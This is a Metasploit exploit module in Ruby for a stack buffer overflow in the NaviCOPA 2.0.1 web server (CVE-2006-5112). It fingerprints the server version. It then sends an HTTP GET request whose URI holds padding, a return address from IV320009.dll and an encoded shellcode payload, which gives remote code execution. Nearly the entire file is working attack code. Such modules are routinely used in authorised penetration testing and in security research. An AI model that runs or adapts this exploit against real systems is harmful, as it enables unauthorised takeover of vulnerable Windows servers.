##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /InterVations/ ] }

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
        The vulnerability is caused due to a boundary error within the
        handling of URL parameters.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-5112' ],
          [ 'OSVDB', '29257' ],
          [ 'BID', '20250' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
        ],
      'DisclosureDate' => 'Sep 28 2006',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def check
    connect

    sock.put("GET / HTTP/1.0\r\n\r\n")
    resp = sock.get_once
    disconnect

    if (resp =~ /2\.01 11th September/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    sploit =  rand_text_alphanumeric(228, payload_badchars)
    sploit << [target.ret].pack('V') + payload.encoded

    uri = '/' + sploit

    res = "GET #{uri} HTTP/1.1\r\n\r\n"

    print_status("Trying target %s" % target.name)

    sock.put(res)
    sock.close

    handler
    disconnect
  end
end
